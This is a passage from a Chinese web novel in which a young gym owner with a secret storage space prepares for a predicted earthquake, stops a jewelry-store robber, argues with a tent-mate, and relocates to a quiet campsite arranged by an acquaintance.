陆昼：“我没有机器人专业。” 秦小薇：“没事，你可以找外援，唐医生不就在楼下吗？我看他挺专业的！” 陆昼：“很快地震就要来了，它待在外面可能会受到惊吓……” 秦小薇：“你不是知道发生地震的具体时间吗？我在那之前把它接回来就行了！” 陆昼：“……” 他找不到理由，只能认命似的把羊牵回了自己家。 暂时甩掉一个“烫手山芋”，回去的路上，秦小薇的心情都轻快了许多，就算外面依旧在堵车，她也丝毫没有烦躁的感觉…… 一转眼，时间又过去了十天，距离陆昼预言的地震时间越来越近。 和之前提前三天就发预警短信不同，这次的预警短信提前了五天，且除了Q省之外，国内其他地方都没有给出地震的具体时间，只说会发生大地震，让普通人尽量不要待在室内，晚上睡觉不要睡得太死云云…… 这次收到预警消息后，很多普通人的反应比前两次还要激烈。 之前的暴雨和高温，虽然也会对建筑造成损伤，但稍微花点钱就能修复，地震却不一样，地震会让房子在瞬间倾塌！ 之前暴雨的时候，低楼层的住户还能把家里值钱的东西，送到高楼层的亲戚朋友家；高温的时候，一直躲在空调房里，也能避免中暑。 但地震要是来了，他们连哪里是安全的都不知道，家里的东西根本没地方送…… 况且，之前国内很多地方地震发生的概率都不高，开发商建房子的时候，根本就没有考虑防震的问题。 很多人忙碌一生，就只是为了一套房子，有些人身上，甚至还背着几十年的房贷。 眼看着情况渐渐恢复了，现在地震又要来了，很多还背着房贷的普通人都有些接受不了。 有些人之前就失去了家人、工作，现在奋斗了许多年的房子也要没了，他们都觉得人生一片灰暗…… 虽然官媒一直在宣传正能量的消息，市政也通过各种措施保障普通人的基本生命安全，但这么大面积的天灾，就算市政做了很多准备，也无法让普通人维持暴雨之前的生活品质。 和前两次，网友们积极讨论该怎么应对灾难不同，这次，网上充斥着各种消极的言论，甚至还有人提出“躺平等死”的应对方案……不过这样的话，基本上一发出来，就被限流了。 网上，官媒在引导普通人积极应对灾难，线下，社区工作人员也在加班加点地工作。 之前高温刚结束的时候，社区的工作人员就上门做了人口登记，预警短信发出来的当天，就有社区的工作人员带着一堆帐篷来了公寓楼。 一顶帐篷睡四个人，秦小薇和楼里另外三个不太熟的女邻居分到了一顶帐篷，社区的工作人员，还给了她们一个标着数字的牌子。 工作人员告诉她们，之后楼下的空地会画格子，她们可以依照格子上的数字，找到搭帐篷的地方，自己按照网上的教程把帐篷搭起来…… 秦小薇不想和其他人挤一个帐篷，再加上陆昼之前准备的物资里面就有帐篷，便问工作人员：“我家里有帐篷，我可以不和别 人一起住，自己找地方搭帐篷吗？” 工作人员：“可以，但是不能在我们划定的格子里搭，否则会被工作人员强行拆除……我建议你还是住我们划定的地方，附近高楼层建筑很多，你自己找的地方不一定安全！” 秦小薇：“我知道了，谢谢！” 到时候看情况吧！不过，这两天她得在空间里练习一下怎么搭帐篷…… 因为预警短信的事，今天有些会员来了没多久就离开了，正在上课的学员也暂停了课程……后面几个小时，健身房直接就没客人上门了。 想到员工们都要为即将到来的灾难做准备，秦小薇干脆给她们放了两天假。 同时，她还拍了条视频发到健身房的账号上说明情况。 秦小薇宣布放假后，肖琳琳并没有离开，她抱着手机，表情有点发愁：“薇薇，你说，按照短信里的内容做准备，真的有用吗？” 秦小薇：“怎么没用？前两次短信里提到的建议，不都挺有用的？” 肖琳琳：“可是网上都说……” 秦小薇打断了她：“别管网上怎么说！先按照预警短信里的内容做好准备，总不会错的！” 肖琳琳皱眉思考了一会，还是点点头，收拾了自己的背包，回家了。 该做的准备，秦小薇之前就都做好了，健身房关门之后，她就没什么事干了。 她干脆窝在沙发上，拿出手机开始上网。 她刷了下同城APP，发现市政的工作人员已经开始“画格子”了，市区这种建筑比较密集的地方，他们安排的市民比较少，反而是郊区，不少土地都被征用了。 除此之外，原本开放购买的饮用水又开始限购了，依旧是每人每天只能购买2000ML。 还有人对比了各省的预警短信，很快就发现了华点。 网上，有不少网友都在讨论，为什么只有Q省有具体的地震时间？其他省没有？ 既然时间都能预测，地震的等级能不能预测？ 对于网友们的诸多疑问，官方并没有给出回应，只是一味地宣传，地震发生时的各种保命技巧。 第68章 第68章帐篷（双更合一）…… 除了地震,更多的人关注的还是房子，就算社区给他们发了帐篷，他们也不可能在帐篷里住上一两年,还是房子才能给他们更多的安全感。 就预警短信发出来的这几个小时,卖房软件上的房源一下子翻了好几倍,但是买房的人却寥寥无几，很多人都担心,房子到手后还没住就变成了一片废墟。 秦小薇去卖房软件上搜了下附近的房源,发现公寓楼也有房主上架了房源，价格比她前段时间买房的时候低了一半不止…… 秦小薇：早知道她就晚一个月再买了！ 她大致浏览完今天的新闻,就退出软件，打开游戏，只是大家都在准备应对即将到来的地震,她在游戏里等了五分钟,竟然没匹配到一个队友…… 秦小薇想了想，放下手机，决定去空间里做饭。 就算她能一个人住一顶帐篷,但帐篷的隔音不如房子，她到时候肯定没法进空间,不想啃饼干面包的话,她就得提前多准备点食物。 秦小薇在空间里忙活了大半天，做了一大堆方便食用的饭团、烧饼、肉夹馍、馒头…… 秦小薇做饭的时候，忍不住消灭了一些“边角料”,等她从空间里出来的时候，已经撑到打嗝了。 感觉晚饭都可以不用吃了！ 出来后，秦小薇发现手机上多了三通未接电话，都是陆昼的。 她回拨了过去,也没有寒暄，直接开门见山道：“忽然找我有什么事？” 陆昼：“你该不会忘记了吧？我家里还有一只怀孕的母羊……之前说好的，你地震之前接它回去。” 秦小薇：她还真忘了！ 主要是，空间里那些牲畜也不需要她费心，她就没怎么放在心上…… 她轻咳一声，一本正经道：“我当然没忘，我现在有空，可以去接它，你现在在家吗？” 陆昼：“在，你过来吧！” “行。”秦小薇拿了车钥匙，就准备出门。 下楼的时候，秦小薇看到李阿姨和他们家的保镖正在往楼下搬东西，她有些惊讶：“李阿姨，你们要搬家吗？” 李阿姨点头：“社区分给我们的帐篷太小了，少爷弄了几辆房车，我们打算到时候直接把车开到郊区去，现在先把要用的东西搬车里去……” 秦小薇：“……”还可以这样？ 不过她那车空间不够，住车里肯定没有住单人帐篷里舒服。 奚川的房车和秦小薇仓库里的货车差不多大，一共有三层，最上面一层还是一个可以晒太阳、看风景的半开放露台，看起来非常豪华，不过车窗上的帘子都拉着，并不能看到里面的布置。 秦小薇只围观了几秒就开车离开了。 陆昼开门的时候，正和人打电话，他的语气非常凶：“……你管那种只会钻营的废物说什么，干好你手上的事！” 他一连接了好几个电话，每接一通电话，就要对电话那头的人一顿嘲讽，秦小薇都没能插上嘴。 她等了好一会，才等到他放下手机。 秦小薇：“火气这么大，工作不顺利？” 陆昼：“还行吧……就是打探消息的苍蝇太多了，有点烦。” 想到网上对于预警消息的讨论，秦小薇大概明白他现在正在经历什么……那些没见过面的网友都想扒出来Q省能公布准确消息的原因，更遑论是一些自认为手中掌握着一点权力的“大人物”……他们能接触到预警中心的人，自然会想办法打探更准确的消息！ 手段也会更多…… 陆昼坐到桌边，对着笔记本的键盘敲敲打打，他没有看秦小薇，随意指了下客厅另一边的羊圈：“羊在那，你带走吧！” 羊圈就在狗窝边上，陆昼还在羊圈里铺上了厚厚的干草，羊圈里浓浓的田园风和屋里简约的装修有些格格不入…… 拉布拉多被圈在狗笼子里，见秦小薇过来，立刻凑到笼子边上，疯狂冲着它摇尾巴，还呜咽着想要出来。 天天被陆昼压着减肥，它这大半年瘦了几十斤，现在已经不胖了，就是正常成年拉布拉多的体型，不过它的尾巴依旧有力，狗笼子被它甩得“啪啪”响…… 秦小薇把手伸进笼子里，撸了会狗，才去羊圈里牵羊。 陆昼给母羊洗了澡，还梳了毛，它身上的味道不像上次那么大了，整只羊雪白的一团，毛看起来特别软。 要是能做成羊毛垫子，冬天躺在上面肯定很舒服……咳咳，这头母羊是用来繁育的，她不能这么丧心病狂！ 秦小薇在心里唾弃了一下自己，才把羊送进空间里。 陆昼又在接电话了，秦小薇冲着他做了个“走了”的手势，就直接离开了。 她没回公寓，反而是开着车在公寓楼附近转了起来，之前工作人员说过，会有人在楼下画格子，划定搭帐篷的范围，她原本是想提前下来踩个点的，但转了一圈才发现，楼下并没有工作人员画格子。 可能还没轮到他们这片区域？ 踩点 失败，秦小薇只能开车回家。 她到家的时候，发现业主群里的消息不知道什么时候变成了99+。 她翻了下记录，原来是一位新进群的业主，为了鼓动大家出钱安装电梯，忽然在群里爆料，说他有内部消息，公寓楼附近不在地震带上，到时候周边会安置大量灾民，安了电梯之后，不管是做生意，还是租房，行情都会很好…… 这话一出，群里顿时沸腾起来了，没有消息渠道的人纷纷和爆料者打听，事情是不是真的，一下子就刷新了几百条消息。 那位爆料者则得意洋洋地表示，自己的小舅子是某某部门的领导，消息渠道绝对靠谱。 秦小薇：“……” 她想了想，把消息截图发给了陆昼。 【秦小薇：消息泄露得好像有点厉害，没什么关系吧？】 【秦小薇：[图片]】 【陆昼：没事，前期准备工作涉及到的人太多，消息泄露了很正常，不会造成太大的影响。】 见他这么说，秦小薇放心了。 打游戏找不到队友，最近也没什么新剧，晚上没什么娱乐活动，秦小薇干脆拿钥匙开了健身房的门，去里面练了两个小时的拳。 晚饭吃得太早，练完拳，她的胃就开始疯狂“报警”，她回公寓冲了个澡，就开始吃夜宵，一口气干掉了两个肉夹馍。 第二天健身房放假，秦小薇难得睡了个懒觉，在床上躺到七点半才起来吃早饭。 因为昨天做了很多吃的，她今天没做早饭，吃的是昨天做的饭团配牛奶。 饭团里面放了油条碎、包菜丝、黄瓜丝、花生米、萝卜干、培根、虾仁，不仅个头大，口感还非常丰富，属于“皮薄馅大”的那种。 以秦小薇的饭量，吃完饭团，牛奶只喝了几口，她就觉得撑了…… 提前做好饭存在仓库里真的很方便！等有空了再做一些微辣的，感觉会更好吃！ 一整个白天，秦小薇都待在家里，晚上的时候，她看到业主群里有人说，楼下有市政的工作人员开始画格子了，她便准备下去踩个点。 因为路边的建筑太高，市政的工作人员并没有在马路两旁的人行道上划线，“格子”大多集中在商场外面的广场上。 他们拿着速干喷漆，一边走一边喷，效率非常高，没一会儿就弄好了一大片…… “这格子大小好像还可以，住一个人应该没问题！” “怎么可能？这是四个人住的！单人帐篷区不在这边……” “妈妈，我们家的格子是不是在那边？” “喷这么多油漆，到时候味道会很大吧？这让人怎么睡？” “……” 周围围观的人不少，秦小薇听到他们的聊天才知道，虽然格子还没画完，但这一片的工作人员已经把格子的位置上传到地图软件上了，在地图软件上输入编号，就能直接查到自己帐篷的位置。 秦小薇打开地图软件，输入之前社区工作人员给她的编号，然后她发现，她被分到了Q大……位置距离女寝一栋还挺近！ 万万没想到，毕业之后，还有机会住校！ 她对Q大很熟，就没再继续踩点，收了手机就准备回家，却听到远处传来“哗啦”一声。 秦小薇顺着声音看过去，就看到一个戴着口罩和鸭舌帽、背着双肩包的高大男人，用锤子砸开了马路对面一家已经歇业的金店的落地玻璃窗。 那家金店是高温过后新开的，可能是因为距离地震还有几天，再加上这几天，很多普通人花钱买金饰避险，生意非常好，金店一直没有歇业，店里的东西也没搬走。 现在是晚上九点半，已经过了店里的营业时间，金店里面也没有人。 秦小薇：“……”这里这么多人呢！还有市政的工作人员在，他就这么光明正大地抢金店，也太猖狂了吧？ 周围不少人都看到了这一幕，有人对着他指指点点，有人在打电话报警，还有人拿手机对着他拍照、录视频…… 几个拿着喷漆的市政工作人员听到动静后，立刻跑了过去：“喂，你干什么呢？” 男人并没有理会市政的工作人员，依旧拿着锤子砸金店里的展柜，不断往自己的背包里扒拉金饰，金店里的警报器在疯狂报警，男人却丝毫没有停下来的意思。 有个工作人员踩着满地的碎玻璃进了金店，想要伸手阻拦他，却见那个男人掏出一把匕首，反手就对着工作人员的腹部捅了一刀……跟过去围观的众人顿时发出了一阵惊呼。 “我们已经报警了，你快把刀放下！”同行的另外几个工作人员冲着他喊道。 几人站在被砸碎的落地窗外，堵住了他的“出路”。 男人没有说话，他把被捅了一刀的工作人员推倒在地，拉上背包的拉链，握着匕首，就要去捅其他人，附近跟过去围观的人赶紧找能用得上的“武器”，想要支援那几个工作人员。 那个男人应该练过，他们多对一，都没能把人按住，反而有好几人都受伤了。 围观的秦小薇看不下去了，拿着一块板砖就冲了过去。 她先是一板砖砸向对方的脑袋，之后又一脚踹向对方的腹部……动作非常迅速，完全不给对方反应的机会。 把人打倒之后，她飞快卸了对方的胳膊，踢掉他手上的匕首，又举起拳头，对着他砸了下去。 不到一分钟，抢金店的男人就一脸血躺在地上了…… 秦小薇找围观的人要了绳子，照着之前在网上学的捆人的办法，把人绑了起来。 几个工作人员的伤看起来很严重，现场都是血，围观的人又开始帮忙打急救电话。 一番闹腾过后，抢金店的男人和市政的工作人员分别被警车和救护车带走了，市政的划线工作也不得不暂时中断…… “姑娘，你身手真好，他们几个大男人都没能把人按住，没想到你三两下就把人拿下了……”围观群众对着秦小薇比了个大拇指。 秦小薇接受众人夸奖的同时，还不忘给自己的健身房打广告：“我工作的健身房主要教女子防身术，我没事就跟着健身房的教练学了几招，没想到用上了……” 她这也不算刻意吹嘘，要是没有健身房拿过各种奖的专业教练教她散打、武术和拳击，她的进步也没这么快。 其实刚刚那种情况，用射钉枪可以更快拿下对方，她在空间里练习了很久，就算是“移动靶”，现在命中率也很高。 不过周围都是人，还有好几个市政的工作人员，要是她真的把改装过的射钉枪拿了出来，秦小薇估计，她会和刚刚那个抢金店的男人一起进去…… 到家后，秦小薇拿出手机，想和室友们吐槽有人砸金店的事，却发现寝室群里正聊得热闹。 【范槿：逃生背包收拾完了，水也准备了不少，但是家里剩下的东西，我们完全不知道该怎么办……】 【范槿：我爸想把一些比较贵的家具搬到楼下的停车场放着，但是小区保安不让放，说到时候那里要搭帐篷，我们放了东西，小区里其他人就没地方搭帐篷了……是在挤占其他人的生存空间。】 【段霞：我爸妈把家里的东西搬到乡下了，他们找村子里的人在晒谷场上租了一块地，盖上塑料布挡雨，他们说这样就算房子倒了，家具也能保住……网上说现在很多村子都提供这种服务，饭饭，你要不要去乡下问问看？】 【范槿：我联系一下我大伯吧！看看他们家能不能帮上忙。】 【肖琳琳：我和阿霞还好，因为不用做饭，又是租的房子，家里都没添置什么大件……我们正在头疼到时候存的水该怎么办，社区分给我们的双人帐篷好小，我俩一人放两个包，再躺下，感觉空间就满了。】 【范槿：还有双人帐篷？我们家是三人帐篷哎！】 【肖琳琳：可能是因为你们刚好是一家三口？我看到网上说还有单人帐篷，但是单人帐篷基本上都被他们内部的人分完了，我们很难分到……】 【秦小薇：我分到的是四人帐篷，还是和另外三个不怎么熟的邻居一起住。】 【范槿：这么看，我们三个运气还是挺好的，至少不用和不熟的人一起住！】 【秦小薇：我打算在健身房和公寓里多囤点水，要是房子没塌，我就直接回来提水，我被分去了Q大，一来一回也没多远。】 【范槿：帐篷的具体位置已经出来了吗？】 【秦小薇：要是市政的人在地图软件上上传了文件包，就能搜到……你们可以搜一下。】 【肖琳琳：我们的还没出来。】 【范槿：我家的出来了，就在小区的停车场！】 和三个室友聊了一会，又和室友们分享了一下刚刚遇到的事，秦小薇才关掉手机，洗漱上床睡觉。 第三天早上，健身房继续营业，不过依旧没什么客人来健身，但上门买各种防身用品的客人却不少…… 按照预警短信里的消息，后天凌晨，就要地震了，普通人都在忙着做各种准备，根本没心思泡健身房。 秦小薇干脆继续给几个教练放假，只留了自己和前台在售货区卖东西……后面库存卖得差不多了，她直接挂上歇业的牌子，让前台也回家了。 虽然地震后天才来，但宁市很多人已经搬到外面睡帐篷了，不少街道都被占了，现在就算外面没什么车，出行依旧很容易堵在路上。 秦小薇现在出行都不开车了，而是骑自行车。 傍晚的时候，秦小薇也随大流，带着应急背包和睡袋去Q大住帐篷。 她原本是想自己找地方搭帐篷的，但附近安全的地方，基本上都被画了格子，秦小薇要是想自己搭帐篷，就只能找高楼层的建筑楼下，非常不安全，地震的时候，很可能被倒塌的高楼砸一头。 为了自己的小命着想，她决定忍一忍，暂时和陌生人同住一个帐篷，等第一波大地震过了，再换地方。 Q大已经放假了，宿舍楼和教学楼都空空荡荡的，学校里既没有老师，也没有学生。 广场上和体育场上倒是非常热闹，一排排帐篷整齐地排列着，帐篷和帐篷之间的空隙非常小，只能容一人通过，要是稍微胖一点，还得侧着身子走，人在帐篷里随便说点什么，路过的人就能听得一清二楚，毫无隐私可言。 秦小薇和分到一个帐篷里的其余三人都不熟，但其中一个中年女人和她有点“过节”，之前高温的时候，她拿着桶来健身房蹭水，还被秦小薇拦过…… 另外两人，年纪也都比她大，秦小薇不怎么眼熟，只隐约有点印象。 她到的时候，帐篷刚刚搭好了，秦小薇确定了一下编号，掀开帐篷帘子和几人打了个招呼，就钻进了帐篷里。 帐篷里的空间并不大，已经被其他三人带来的背包杂物堆得满满当当的了，秦小薇进去后，连坐的地方都没有。 秦小薇皱眉：“麻烦给我挪个地方。” 其余两人都开始挪自己的东西，而之前和她有过节的那位大妈，不仅没动还开始阴阳怪气：“搭帐篷的时候看不到人，帐篷一搭好，人就来了，现在还使唤上人了！现在的小年轻，真是没素质……” 现在又不是在健身房里，周围也没有客人，秦小薇一点都不惯着她，直接怼了回去：“这位大妈，你一早就把帐篷要走了，搭帐篷的时候也没喊我，我之前没及时赶来，应该是你的问题吧？” 大妈哼了一声，没接话。 她等了一会儿，发现其余两人就带了两个背包，反而是大妈，一个人带了四个大包和一堆杂物，把帐篷里塞得满满当当。 秦小薇指着地上的东西问其他两人：“这些行李是你们的吗？” 其余两人齐齐摇头。 秦小薇面无表情地对着大妈开口道：“大妈，麻烦把东西挪一下，你占了我睡觉的地方，你要是不挪，我就自己动手了！” 见帐篷里的三个人都盯着自己，大妈才不情不愿地挪了下包，但也只给秦小薇留了一个坐的空间，她根本就躺不下去。 秦小薇也不跟她废话，一手一个大包，直接往帐篷外面放…… “哎，你干什么？那是我的东西！”大妈伸手就要拽她的包。 但秦小薇力气太大，她虽然拽住了包，人却摔倒了。 秦小薇理直气壮：“我又没打开你的包翻里面的东西，我就是清理一下自己睡觉的位置而已，有什么问题？” “你、你……”大妈从帐篷里的防潮垫上爬了起来，用手指着她，气得直哆嗦。 秦小薇一把拍开她的手：“大妈，你小时候没人教过你，用手指着人很不礼貌吗？” 说着，她又装模作样地摇了摇头，学着她之前的语气开口道：“唉，现在的老年人，真是没礼貌！” 大妈：“……” “扑哧——”边上围观的两人没憋住，直接笑了出来。 第69章 第69章地震（双更合一） 说又说不过,打……秦小薇是开健身房的，身高比一些男的还高，听说她不久前还在楼下的金店门口暴揍了一位几个大男人都搞不定的抢劫犯…… 大妈恨恨瞪了秦小薇一眼,没再说话,钻出帐篷安置她的大包去了。 见大妈提着包要回公寓,帐篷里的另外两人冲着秦小薇比了个大拇指，小声开口道：“你可真厉害,我俩之前嘴巴都快说干了,她都不愿意把行李拿走，一直说帐篷里能放得下……没想到你一来,她就妥协了。” 秦小薇摆了摆手：“我之前和她打过交道，知道她什么性格。” 能提着水桶来她健身房的饮水机里蹭水的人，会是什么好鸟？ 这种人,不在她第一次作妖的时候就把人按下去,她后面只会更加得寸进尺！ 秦小薇铺上睡袋，就直接钻了进去，她打开手机,和几个室友聊了会儿天。 【秦小薇：之前来健身房蹭水的一个大妈和我一顶帐篷，她拿了好多行李,把我睡觉的地方都占了,我刚刚把她怼了一顿！】 【肖琳琳：啊？薇薇，你没被欺负吧？】 【秦小薇：没有，之前在健身房门口我就没吃亏,现在周围都没客人了，我就更不可能吃亏了！】 【范槿：我和我爸正在往帐篷里搬行李，为了多保存点家当，我爸直接搬了几个柜子垫在帐篷下面,然后帐篷里还堆了一堆行李，我爸妈让我忍一忍，这几天就先睡行李上面。】 【范槿：不敢想象，我晚上要怎么睡。】 【范槿：[图片][图片]】 秦小薇点开照片看了看，照片里，帐篷里堆的行李已经快有一米高了，人要是想进去休息，只能弓着身体、弯着腰。 不过范槿他们住的是三人帐篷，帐篷里只有他们一家三口，他们再怎么折腾，也是在自家分到的位置上，并不会影响其他人。 【秦小薇：这也是没办法的事，熬过这次地震就好了。】 和室友们聊了一会，秦小薇就拉上睡袋的拉链，戴上耳塞，准备睡了。 但外面十分闹腾，就算她戴着耳塞，依旧很吵，来来往往路人的脚步声非常明显，她睡得十分不安稳，隔十几分钟就要醒一次。 不知过了多久，忽然一个重物压了过来……秦小薇猛然睁开了眼睛！ 之前被她怼的大妈把大腿架到她身上了！ 她转过身，就看到大妈正张着嘴，面对着她，睡得正香，秦小薇甚至能闻到她呼出的口气…… 秦小薇：“……”半夜睡醒忽然看到这么一张放大的人脸，真的有点吓人！ 她把大妈的腿挪开，睡到了另一头，但没过多久，大妈就又把腿伸了过来，脚差点踹到她脸上。 秦小薇：“……” 她把大妈的腿挪开，翻了个身，继续睡，不知过了多久，她的耳塞掉了，同时，外面又传来一阵孩子的哭闹声，声音十分刺耳……除了大妈，帐篷里其他两人也被吵醒了。 秦小薇看着大妈的模样，忽然有点羡慕她的睡眠质量。 她彻底睡不着了，干脆穿上鞋子，去外面透气。 为了防止地震的时候，路边的东西砸到人，一部分路灯、干枯的树木、体育场的围栏……这几天都被人力拆除了。 外面很黑，一个个亮起的手机屏幕在黑暗中格外显眼——不少人被吵得睡不着，都从帐篷里出来了。 秦小薇对Q大很熟悉，她打着手电筒，很快就找到了一个没人的地方。 之前白天的时候，游戏很难匹配到队友，反而是半夜，夜猫子都上线了 ，秦小薇连着开了好几局，正打得开心，游戏却忽然掉线了。 她退出又重新登录，却发现根本登录不上去。 游戏在维护吗？ 她手机里存了好几款游戏，她又换了个游戏，准备上线把今天的每日任务给做了。 却发现，另一款游戏也登录不上去。 出什么事了？手机网络坏了？还是手机坏了？ 她又试了另外几款游戏，发现都能登录上去，她正准备去游戏论坛上看看，结果一打开手机，就看到了P省发生了8.8级大地震的消息。 网上很多网友都在讨论这件事，秦小薇刷了下网友们的留言，发现P省的网友都比较谨慎，因为他们不像Q省的网友，知道具体的地震时间，帐篷发下来当天，他们就在社区工作人员的号召下，从家里搬出去了…… 毕竟已经经历过两次大灾难了，谁都没把预警中心的短信当儿戏。 到目前为止，还没有网友提到身边有人出现伤亡……从现场发回来的照片来看，P省有些城市毁坏得非常厉害，地脉断裂、房屋坍塌、山脉消失…… 还有些城市，情况则相对没那么严重，就只有一些老房子倒塌了！一些比较新的小区和建筑基本上完好无损！ 上了会儿网，秦小薇也知道了，游戏登录不上去的原因。 因为那两家游戏公司的服务器机房就在P省，虽然机器提前搬出来了，但是那边现在断电了，游戏自然也就没法玩了！ 看到机器都好好的，秦小薇松了口气。 希望这些机器能顺利存活到灾难结束，她副本都还没打完呢！之前充的月卡也还有很久才到期…… 刷了一个多小时P省的消息，秦小薇又觉得困了，她看了下时间，凌晨三点三十五，还是回去睡一会儿吧！ 这些帐篷都长得一个样，就算秦小薇对Q大很熟悉，也在反复确认了好几次之后，才找到自己的帐篷。 就她出去这一个多小时，帐篷里的三人已经重新睡着了，大妈换了个姿势，她现在躺成了个“大”字形，一条胳膊和腿压在另一个女生的身上，还有一条胳膊和腿压在秦小薇的睡袋上。 那位女生皱着眉，似乎是觉得很不舒服，但是并没有醒。 这睡姿……大妈平时在家应该是一个人睡吧？ 秦小薇把大妈的手脚挪了回去，重新钻进了睡袋里，因为夜里被她折腾醒了两次，她心里带着火气，动作有些重，但大妈却一点反应都没有，依旧张着嘴、打着呼噜，睡得特别香。 秦小薇：“……” 后半夜，秦小薇依旧是睡睡醒醒，但总算是熬到了天亮。 她原本是计划在帐篷里留到第一波地震结束的，但昨晚的经历实在是太不愉快，她不想委屈自己，天亮后，就收拾了背包和睡袋直接离开了，打算等晚上再来。 虽然天刚蒙蒙亮，但外面已经有不少人开始活动了。 有人在食堂门口排队买能量饼干；有人督促自家的孩子早起背课文；有人在摆摊卖家里的“闲置物品”；还有人因为“室友”打呼、脚臭的问题在吵架……非常热闹！ 离开前，秦小薇在体育场上碰到了一个正在搭帐篷的女孩，见她搭得艰难，秦小薇就停下来帮了她一下——女孩是个残疾人，右边手臂从手肘往下都没了，她搭帐篷的时候，时不时还得用嘴辅助一下，看起来十分可怜。 秦小薇：“你这是双人帐篷吧？和你一起住的另一个人呢？怎么没来帮你？” 女孩：“我男朋友是个盲人，在家里收拾东西，之前社区的人说会来帮我们，但我们在家里等了两天，也没等到他们，就自己先过来了。” 秦小薇：“……抱歉。” 女孩：“没事。” 秦小薇帮她把帐篷搭好，又铺好了里面的防潮垫，才背着包离开。 她前几天闲着没事，在空间里练习过搭帐篷，所以动作还算熟练。 到家后，她拿了个饭团出来当早饭，啃饭团的时候，秦小薇接到了陆昼的电话。 秦小薇：“喂？有事？” 陆昼：“没什么事，就是提醒你地震的时候不要乱跑，别丢了小命。” 他那边似乎有很多人，电话里背景音有些嘈杂。 秦小薇：他是想说，别弄丢了他的物资吧！ 秦小薇：“知道了，对了，我之后打算自己找地方搭帐篷，你有什么建议吗？” 虽然陆昼说公寓楼最后保留下来了，但地震破坏力那么强，待在家里，谁知道墙上、天花板上会不会忽然掉下来点东西砸到她的脑袋……地震的时候，还是待在外面空旷的地方最安全！ 她之前听陆昼说过，第一波大地震的破坏力是最强的，之后半个多月，虽然还会有大大小小的余震，但“威力”都不如第一次地震，只要不作死，基本上没有太大的危险。 她原本是打算，等第一波大地震过后，再找其他地方搭帐篷，现在既然陆昼打电话过来了，她就干脆抄个作业吧！ 陆昼：“我给你个地址，你去那里搭帐篷吧！直接一步到位，省得后面再折腾……” 秦小薇用头和肩膀夹住手机，空出手来，四处找纸笔：“行，你说，我拿笔记一下！” 陆昼那边的背景音突然变得特别吵，他重复了好几遍，秦小薇才听清楚他报的地址。 秦小薇：“你那边在干什么呢？怎么这么吵？” 陆昼：“在预警中心工作，先不和你说了，我要去开会了……” 挂了电话后，秦小薇看了下时间，早上六点一十。 这么早就开会，他是上班上得比较早，还是昨天一直没下班？预警中心的工作强度这么可怕吗？ 吃完了饭团，秦小薇立刻收拾了东西，准备开车去陆昼说的那个地址。 Q大那边的住宿环境实在是太差了，她今天不想再折腾一晚上了！ 外面很多马路都被帐篷占据了，秦小薇也不能从人家帐篷上面碾过去，只能不断绕路，连着绕了两个多小时，她才到达目的地。 陆昼给她的地址在一片烂尾楼边上，附近非常荒芜，市政也没有安排多少市民过来。 她到了地方之后，一眼就看到了地上停着的几辆房车…… 房车的样式非常眼熟，秦小薇第一眼看到的时候，还以为那是李阿姨和奚川他们的房车，等看到了车里车外进进出出忙碌的人的脸，才意识到他们只是买了同款房车而已。 奚川和李阿姨并不在这边。 秦小薇想了想，找了个离他们稍远的地方停车、搭帐篷。 离得远一点，她之后进空间里干点什么，也不会被人发现…… 就在她搭帐篷的时候，远处几个正无所事事的保镖走了过来：“你好，这边离移动物资车很远，购买饮用水和能量饼干不方便……” 这两天，从水退之后就一直在坚持营业的大型超市也关门了，改成了用移动物资车在帐篷多的地方售卖物资，这里距离最近的移动物资车有两三公里，非常不方便。 附近没有其他人过来搭帐篷，也有这部分原因。 保镖的话，算是在委婉地劝秦小薇 离开。 秦小薇听懂了他的言外之意，闻言立刻解释道：“陆昼让我过来的！” 几名保镖的视线在秦小薇的车和帐篷上扫了两眼，又上下打量了她一会儿，眼中闪过一丝惊讶，他们没再多说什么，片刻之后，就直接离开了。 秦小薇没理会他们，见人走了，她就继续搭帐篷，等帐篷搭好了，她爬进去准备补觉。 今晚估计要熬夜，还是趁着现在有时间，多睡会吧！ 陆昼给她准备的帐篷，比社区准备的四人帐篷还要大，她一个人住非常宽敞，可以随便在里面打滚。 这附近虽然有好几辆房车，但是比昨晚的Q大安静多了，附近有保镖，她也不用担心会出事，直接一觉睡到了中午…… 如果陆昼没有忽然出现在她的帐篷里的话，秦小薇觉得，她还可以继续睡。 看着头顶忽然出现的那张放大的脸，秦小薇的身体比脑子反应更快，直接一拳挥了过去…… 陆昼险险避开她的拳风，不满道：“怎么一见面就打人？” 秦小薇拉开睡袋的拉链，坐了起来，她冲着他翻了一个白眼：“你怎么不反思一下？是因为你不敲门直接进来，我才没控制住本能反应……” 陆昼看了眼帐篷上的门帘，有些好笑：“这也算是门？” 秦小薇把睡袋收了起来：“拉链拉上了，就是拒绝其他人进来的意思，难道还要我在帘子上贴一张‘陆昼与狗不得入内’？” 陆昼早就习惯了她和自己说话的态度，对此并没有什么反应：“……知道了，下次不进你的帐篷了。” 秦小薇：“找我什么事？” 陆昼：“没什么事，就是来确定一下，帐篷里的人是不是你……” 秦小薇直接一腿扫了过去：“你打扰我补觉了知不知道？” 陆昼迅速后撤：“怎么又动手？” 秦小薇随便找了个理由敷衍他：“我有起床气不行啊？” 陆昼：“……” 两人的这次交手，依旧以秦小薇胜利结束，且她赢的速度，比上次更快！ 秦小薇：看来最近和教练对练的成果斐然！假以时日，她一定能轻松打得陆昼这家伙毫无还手之力！ 她不知道的是，远处房车内外一直有人在关注帐篷里的情况，看到帐篷忽然毫无预兆地晃动起来，众人都沉默了。 秦小薇刚掀开帘子，就被拉布拉多的口水糊了一脸，她忙不迭推开它的狗头：“就算我刚睡醒，你也不用用口水给我洗脸吧？” 等看到陆昼发丝凌乱、衣衫不整地从帐篷里出来，香肠又疯狂对着秦小薇摇尾巴，房车内外的众人更加沉默了…… 秦小薇撸了会狗，才打开车子的后备箱，接水洗漱。 有点想念小黄了，今天好像还没给它喂小零食，等有空了去空间里看它一眼吧…… 洗漱完，秦小薇就钻进帐篷里了，她拿了份曲奇出来，一边吃中饭，一边在群里和室友们聊天。 【秦小薇：我换了个地方，Q大那边环境太差了！】 【肖琳琳：社区的工作人员帮忙换的吗？】 【秦小薇：不是……老板帮忙弄了个帐篷，我现在在郊区一个人住大帐篷！】 【肖琳琳：那也太爽了！】 【段霞：薇薇，你一个人警醒一点，晚上别睡太死，小心有人摸进你的帐篷里偷东西……我们这昨晚就有人睡觉的时候，手上的金镯子被人偷了，报警之后，警察做了个笔录就走了，我估计是找不回来了。】 【肖琳琳：对！安全很重要！】 